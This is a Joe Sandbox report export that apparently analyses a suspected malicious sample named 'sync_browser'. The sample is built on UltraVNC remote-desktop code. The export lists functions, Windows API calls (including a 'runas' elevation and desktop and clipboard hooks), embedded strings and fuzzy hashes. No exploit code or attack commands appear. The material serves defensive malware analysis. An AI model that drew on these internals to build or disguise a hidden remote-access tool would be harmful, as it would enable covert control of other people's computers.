Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorInfoLastParametersSystem
String ID: HideDesktop.cpp : Failed to get SPI value for 0x%04x (0x%08x)$HideDesktop.cpp : Failed to set SPI value for 0x%04x to 0x%08x (0x%08x)$HideDesktop.cpp : Retrieved SPI value for 0x%04x: 0x%08x$HideDesktop.cpp : Set SPI value for 0x%04x to 0x%08x
API String ID: 2777246624-2146332292
Opcode ID: 6a035a78c7a656c7d74b77a1e238c7683e8273999f34b1d7744062f167e8fc50
Instruction ID: 7fb3f6277455e54e406052debf1dd6fb425db0db44cb78b2f85f802db5569456
Opcode Fuzzy Hash: 6a035a78c7a656c7d74b77a1e238c7683e8273999f34b1d7744062f167e8fc50
Instruction Fuzzy Hash: DE419435E0868A8AE724EF24F9507B9B361FB44B48F840137EA8D87A58DF3CE555C712

Function 00007FF7E5089630 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION ref: 00007FF7E5089655
GetLastError.KERNEL32 ref: 00007FF7E508965D

Strings

\StringFileInfo\040904b0\ProductVersion, xrefs: 00007FF7E50896B3
Fail: Using 32bit winvnc.exe with a 64bit driver? , xrefs: 00007FF7E5089667
\StringFileInfo\000004b0\ProductVersion, xrefs: 00007FF7E50896D1

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFileInfoLastSizeVersion
String ID: Fail: Using 32bit winvnc.exe with a 64bit driver? $\StringFileInfo\000004b0\ProductVersion$\StringFileInfo\040904b0\ProductVersion
API String ID: 752140088-134519983
Opcode ID: e2740d92ce40838baa9be926f816465ab0ca25b8825aa07bbc0d6af3aaf476b2
Instruction ID: 1ee7bb67ffa0b2598f1e360a76dd7288a6ab7401837718dd3ccebc6136c5febf
Opcode Fuzzy Hash: e2740d92ce40838baa9be926f816465ab0ca25b8825aa07bbc0d6af3aaf476b2
Instruction Fuzzy Hash: DB21C565B08A4A81DA10BB66B8102A9E3A0EF85FD4F841432DE4C8765CEE7CD585C711

Function 00007FF7E50A3523 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58timethreadclipboardCOMMON

Download Yara Rule

APIs

KillTimer.USER32 ref: 00007FF7E50A352B
ChangeClipboardChain.USER32 ref: 00007FF7E50A3540
GetCurrentThreadId.KERNEL32 ref: 00007FF7E50A35B1

Strings

vncdesktopsink.cpp : Unsethooks Failed, xrefs: 00007FF7E50A35CA
vncdesktopsink.cpp : Unsethooks OK, xrefs: 00007FF7E50A35D3
vncdesktopsink.cpp : WM_DESTROY, xrefs: 00007FF7E50A35E5
vncdesktopsink.cpp : unset W8 hooks OK, xrefs: 00007FF7E50A3564
vncdesktopsink.cpp : unset SC hooks OK, xrefs: 00007FF7E50A3588

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ChainChangeClipboardCurrentKillThreadTimer
String ID: vncdesktopsink.cpp : Unsethooks Failed$vncdesktopsink.cpp : Unsethooks OK$vncdesktopsink.cpp : WM_DESTROY$vncdesktopsink.cpp : unset SC hooks OK$vncdesktopsink.cpp : unset W8 hooks OK
API String ID: 3622578367-539335655
Opcode ID: 4ff98f2526b40473347ec64f61ad6471bc2d7702336f109aa2423c9ffd723b96
Instruction ID: db7ba2d6cc6fc00ecb935209450e6ec01ffed6add7bd6b850dc073615f922d81
Opcode Fuzzy Hash: 4ff98f2526b40473347ec64f61ad6471bc2d7702336f109aa2423c9ffd723b96
Instruction Fuzzy Hash: 4C214B62A085CA96F65CBB78E9643F9A391BF44B41FC84437E61EC6095DF3CA464C232

Function 00007FF7E5129ABC Relevance: 13.6, APIs: 9, Instructions: 142COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E5129AF3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5129AFF
_errno.LIBCMT ref: 00007FF7E5129B5A
_errno.LIBCMT ref: 00007FF7E5129B66
_errno.LIBCMT ref: 00007FF7E5129B9A
malloc.LIBCMT ref: 00007FF7E5129BFA
_errno.LIBCMT ref: 00007FF7E5129C1A
_errno.LIBCMT ref: 00007FF7E5129C76
free.LIBCMT ref: 00007FF7E5129C8E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfofreemalloc
String ID:
API String ID: 3646291181-0
Opcode ID: 11c538c35a46a4fb5c0c73f141e54ae4a02d4c26eb65e23d1f675c1fad1344f9
Instruction ID: 28b6b029ccf8cd5ff9311654b1edecb2e1bfcd3df8490ec7cce600862f5a80f8
Opcode Fuzzy Hash: 11c538c35a46a4fb5c0c73f141e54ae4a02d4c26eb65e23d1f675c1fad1344f9
Instruction Fuzzy Hash: 2F51A726A08289C6F710AF29E460779A790EB45F94F944933EA1D877CDDF3CE4819722

Function 00007FF7E512AD6C Relevance: 13.6, APIs: 9, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00007FF7E512AD95

Part of subcall function 00007FF7E51377D0: _amsg_exit.LIBCMT ref: 00007FF7E51377FA

DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,00007FF7E512AF59,?,?,00000000,00007FF7E51377FF), ref: 00007FF7E512ADC8
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,00007FF7E512AF59,?,?,00000000,00007FF7E51377FF), ref: 00007FF7E512ADE6
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,00007FF7E512AF59,?,?,00000000,00007FF7E51377FF), ref: 00007FF7E512AE26
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,00007FF7E512AF59,?,?,00000000,00007FF7E51377FF), ref: 00007FF7E512AE40
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,00007FF7E512AF59,?,?,00000000,00007FF7E51377FF), ref: 00007FF7E512AE50
_initterm.LIBCMT ref: 00007FF7E512AE90
_initterm.LIBCMT ref: 00007FF7E512AEA3
ExitProcess.KERNEL32 ref: 00007FF7E512AEDC

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DecodePointer$_initterm$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3873167975-0
Opcode ID: 8948cf76fc5cf68bd72f2600188bae6337740dc35318e5811e2f59e4f5aefda3
Instruction ID: c9aba757f1e395e339dde808fadc594fc81a30c1ea7410022ebae0a5f183c097
Opcode Fuzzy Hash: 8948cf76fc5cf68bd72f2600188bae6337740dc35318e5811e2f59e4f5aefda3
Instruction Fuzzy Hash: 3D41AE25A0964A81E610BB11F860338E395BF88F94F940037DA4EC7B6DEF7CE455C722

Function 00007FF7E5087AF0 Relevance: 13.5, APIs: 9, Instructions: 36fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E5087B0E
CloseHandle.KERNEL32 ref: 00007FF7E5087B18
CloseHandle.KERNEL32 ref: 00007FF7E5087B22
CloseHandle.KERNEL32 ref: 00007FF7E5087B2C
UnmapViewOfFile.KERNEL32 ref: 00007FF7E5087B3B
UnmapViewOfFile.KERNEL32 ref: 00007FF7E5087B4A
CloseHandle.KERNEL32 ref: 00007FF7E5087B59
CloseHandle.KERNEL32 ref: 00007FF7E5087B68
DeleteCriticalSection.KERNEL32 ref: 00007FF7E5087B72

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseHandle$FileUnmapView$CriticalDeleteSection
String ID:
API String ID: 4242051881-0
Opcode ID: 22161c178d6bb14c1052406e1d71c9eb4b4dcb4edfbb29f5cd716a860c71812c
Instruction ID: 1e2224b2df27e7d2405805c72d13f5445e8a8243cb1fcd0dbe24ee21ae8ebe3e
Opcode Fuzzy Hash: 22161c178d6bb14c1052406e1d71c9eb4b4dcb4edfbb29f5cd716a860c71812c
Instruction Fuzzy Hash: A611EC25A06A0E81EF15BF71E875778A364FF44F15B841032C90E82269DF3DD845C762

Function 00007FF7E509593D Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E50842A0: CreateThread.KERNEL32 ref: 00007FF7E5084336
Part of subcall function 00007FF7E50842A0: ResumeThread.KERNEL32 ref: 00007FF7E508434C

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2
GetTickCount.KERNEL32 ref: 00007FF7E50941B3

Part of subcall function 00007FF7E509C4E0: timeGetTime.WINMM ref: 00007FF7E509C52A
Part of subcall function 00007FF7E509C4E0: EnterCriticalSection.KERNEL32 ref: 00007FF7E509C551
Part of subcall function 00007FF7E509C4E0: RevertToSelf.ADVAPI32 ref: 00007FF7E509C56C
Part of subcall function 00007FF7E509C4E0: LeaveCriticalSection.KERNEL32 ref: 00007FF7E509C57C

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalDesktopSectionThread$CloseCountCreateEnterInputLeaveOpenResumeRevertSelfTickTimetime
String ID: vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 186452611-3977938048
Opcode ID: cc79c19bcc8b5f7d48aa2344a5fb395df6ce65062b0848f58c75dc6cee1c68c6
Instruction ID: 819ade1757e0d0cdddbdd392ae9508a4db0e0efad25188664885e9365a3b5430
Opcode Fuzzy Hash: cc79c19bcc8b5f7d48aa2344a5fb395df6ce65062b0848f58c75dc6cee1c68c6
Instruction Fuzzy Hash: 09A1C522A086C585E750AB39C4687FEA7A1FBC5F54F894033EA4C877A9CF39D445C722

Function 00007FF7E509BD70 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E512A220: _errno.LIBCMT ref: 00007FF7E512A168
Part of subcall function 00007FF7E512A220: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512A173

GetTempPathA.KERNEL32 ref: 00007FF7E509BDFD
sprintf.LIBCMT ref: 00007FF7E509BF6C

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

GlobalAlloc.KERNEL32 ref: 00007FF7E509BFFF

Strings

%s%s%s%s, xrefs: 00007FF7E509BF5E
.zip, xrefs: 00007FF7E509BF3B
\*.*, xrefs: 00007FF7E509BFDC
!UVNCDIR-, xrefs: 00007FF7E509BF50

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$AllocGlobalPathTempsprintf
String ID: !UVNCDIR-$%s%s%s%s$.zip$\*.*
API String ID: 3897446562-3886131270
Opcode ID: 2256e7430c5e0a02bc82ce3aebf4d27e46064ed5cf51e837b8b2d61e65df44cc
Instruction ID: d610f036a3770726f6453a47ad6bbb04ad031581d649dec3280f92e077d4abb8
Opcode Fuzzy Hash: 2256e7430c5e0a02bc82ce3aebf4d27e46064ed5cf51e837b8b2d61e65df44cc
Instruction Fuzzy Hash: 5C819322608B8999EB10DB38D4203EDB761FB85BA4F904337EA6D43AD9DF78D505C721

Function 00007FF7E5089260 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 83libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E50892B8
GetVersionExA.KERNEL32 ref: 00007FF7E50892CF
GetModuleHandleA.KERNEL32 ref: 00007FF7E50892F8
GetProcAddress.KERNEL32 ref: 00007FF7E5089308
GetSystemInfo.KERNEL32 ref: 00007FF7E508931C

Strings

GetNativeSystemInfo, xrefs: 00007FF7E50892FE
kernel32.dll, xrefs: 00007FF7E50892F1

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Version$AddressHandleInfoModuleProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 335284197-192647395
Opcode ID: bd6ae27e489f82f31fcc2b20e4ae8107fd534e528a9ba4d17229ed8c41967507
Instruction ID: c55f327b0deee62cc9c9a0ef5d4615738f2811f3d3694e86a746386f825bf914
Opcode Fuzzy Hash: bd6ae27e489f82f31fcc2b20e4ae8107fd534e528a9ba4d17229ed8c41967507
Instruction Fuzzy Hash: 6331FD25A0C68686FB70BB20F46577AB3A0FB95F14FC00436E58DC6A99EF7CD4458B11

Function 00007FF7E50A00F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetDeviceCaps.GDI32 ref: 00007FF7E50A0113
GetDeviceCaps.GDI32 ref: 00007FF7E50A0140
GetDeviceCaps.GDI32 ref: 00007FF7E50A016D

Part of subcall function 00007FF7E507A040: OpenInputDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A07A
Part of subcall function 00007FF7E507A040: GetCurrentThreadId.KERNEL32 ref: 00007FF7E507A083
Part of subcall function 00007FF7E507A040: GetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A08B
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0A6
Part of subcall function 00007FF7E507A040: MessageBoxA.USER32 ref: 00007FF7E507A0B7
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0C2
Part of subcall function 00007FF7E507A040: CloseDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0CB

Strings

vncdesktop.cpp : DBG:display context has %d planes!, xrefs: 00007FF7E50A0119
WinVNC, xrefs: 00007FF7E50A0178
vncdesktop.cpp : DBG:memory context has %d planes!, xrefs: 00007FF7E50A0146
vncDesktop : current display is PLANAR, not CHUNKY!WinVNC cannot be used with this graphics device driver, xrefs: 00007FF7E50A017F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CapsDevice$CloseCurrentInputMessageOpen
String ID: WinVNC$vncDesktop : current display is PLANAR, not CHUNKY!WinVNC cannot be used with this graphics device driver$vncdesktop.cpp : DBG:display context has %d planes!$vncdesktop.cpp : DBG:memory context has %d planes!
API String ID: 3271485511-23260621
Opcode ID: aceaff558d4e77a2f2eec4c4dc82cdcf6baf6394409946313555329e23b774f0
Instruction ID: 7162586e6a119c60ab34a7cd1984a32d7f86f4043701efdbecdf954cbd1ffb26
Opcode Fuzzy Hash: aceaff558d4e77a2f2eec4c4dc82cdcf6baf6394409946313555329e23b774f0
Instruction Fuzzy Hash: 89219E726081CA86E710AFB5D4207F86761EB58F08F880437DE8DCA699DE7CD196C332

Function 00007FF7E5083D50 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E5083D7C
GetModuleFileNameA.KERNEL32 ref: 00007FF7E5083D9C
GetForegroundWindow.USER32 ref: 00007FF7E5083DAB
ShellExecuteExA.SHELL32 ref: 00007FF7E5083DFA

Strings

p, xrefs: 00007FF7E5083DA2
-delsoftwarecad, xrefs: 00007FF7E5083DDD
runas, xrefs: 00007FF7E5083DB6

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellVersionWindow
String ID: -delsoftwarecad$p$runas
API String ID: 397093096-3343046257
Opcode ID: 2d9c0c578c979013a183638fe42de72fccd76df398e534bf6a744ea15e2cbb9d
Instruction ID: 28fc8cf093ee065857378eb774e4e5ebfc2cb318333b668e7be9b471cc8019d2
Opcode Fuzzy Hash: 2d9c0c578c979013a183638fe42de72fccd76df398e534bf6a744ea15e2cbb9d
Instruction Fuzzy Hash: CD11BA35518B8585E770AB10F4A939AB3A4FB88B45F801236D68D42B58EF7CD158CB51

Function 00007FF7E51376E8 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 00007FF7E513770F

